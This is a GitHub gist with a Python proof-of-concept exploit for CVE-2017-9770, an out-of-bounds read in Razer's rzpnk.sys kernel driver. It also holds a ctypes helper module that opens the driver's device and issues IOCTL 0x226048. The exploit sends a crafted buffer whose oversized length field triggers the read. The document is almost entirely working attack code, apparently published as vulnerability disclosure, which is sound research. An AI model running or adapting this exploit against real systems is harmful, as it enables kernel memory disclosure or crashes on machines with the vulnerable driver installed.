Skip to content

Instantly share code, notes, and snippets.

@zeroSteiner
Last active July 12, 2017 13:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zeroSteiner/829c313b942f944375b67a6535f01992 to your computer and use it in GitHub Desktop.
Save zeroSteiner/829c313b942f944375b67a6535f01992 to your computer and use it in GitHub Desktop.
Proof of Concept for CVE-2017-9770 (Razer rzpnk.sys IOCTL 0x226048 OOB Read)
#!/usr/bin/env python
import struct
# see the other file in the original gist
import driver
def main():
drv = driver.Driver.from_create_file('\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095')
# the first 4 bytes are the size then it must be padded to at least 0x220 bytes
buffer_ = struct.pack('I', 0x70000000) + (b'\x00' * 0x21c)
status, output = drv.io_control_file(
0x226048, # IoControlCode
buffer_, # InputBuffer
0 # OutputBufferLength
)
if __name__ == '__main__':
main()
# -*- coding: utf-8 -*-
#
# driver.py
#
# Copyright 2017 Spencer McIntyre
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
# * Neither the name of the nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
import sys
import ctypes
# github.com/zeroSteiner/mayhem
import mayhem.datatypes.windows as wintypes
INVALID_HANDLE = 0xffffffffffffffff
ctypes.windll.kernel32.CreateFileW.argtypes = (
wintypes.LPWSTR,
wintypes.DWORD,
wintypes.DWORD,
ctypes.c_void_p,
wintypes.DWORD,
wintypes.DWORD,
wintypes.HANDLE
)
ctypes.windll.kernel32.CreateFileW.restype = wintypes.HANDLE
ctypes.windll.ntdll.ZwDeviceIoControlFile.argtypes = (
wintypes.HANDLE,
wintypes.HANDLE,
ctypes.c_void_p,
wintypes.PVOID,
ctypes.c_void_p,
wintypes.ULONG,
wintypes.PVOID,
wintypes.ULONG,
wintypes.PVOID,
wintypes.ULONG
)
ctypes.windll.ntdll.ZwDeviceIoControlFile.restype = wintypes.NTSTATUS
def ctarray_to_bytes(ctarray):
bytes_ = buffer(ctarray) if sys.version_info[0] < 3 else bytes(ctarray)
return bytes_[:]
class Driver(object):
def __init__(self, handle):
self.handle = handle
def close(self):
ctypes.windll.kernel32.CloseHandle(self.handle)
@classmethod
def from_create_file(cls, file_name):
handle = ctypes.windll.kernel32.CreateFileW(
file_name, # lpFileName [in]
3, # dwDesiredAccess [in]
0, # dwShareMode [in]
None, # lpSecurityAttributes [in-opt]
3, # dwCreationDesposition [in]
0, # dwFlagsAndAttributes [in]
0 # hTemplateFile [in-opt]
)
if handle == INVALID_HANDLE:
raise ctypes.WinError()
return cls(handle)
def io_control_file(self, io_control_code, input_buffer=None, output_buffer_length=None):
io_status_block = wintypes.IO_STATUS_BLOCK()
input_buffer_length = (0 if input_buffer is None else len(input_buffer))
if output_buffer_length is None:
output_buffer = None
output_buffer_length = 0
else:
output_buffer = (ctypes.c_byte * output_buffer_length)()
value = ctypes.windll.ntdll.ZwDeviceIoControlFile(
self.handle, # FileHandle [in]
None, # Event [in-opt]
None, # ApcRoutine [in-opt]
None, # ApcContext [in-opt]
ctypes.byref(io_status_block), # IoStatusBlock [out]
io_control_code, # IoControlCode [in]
input_buffer, # InputBuffer [in-opt]
input_buffer_length, # InputBufferLength [in]
output_buffer, # OutputBuffer [out-opt]
output_buffer_length # OutputBufferLength [out]
)
return (value, ctarray_to_bytes(output_buffer))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment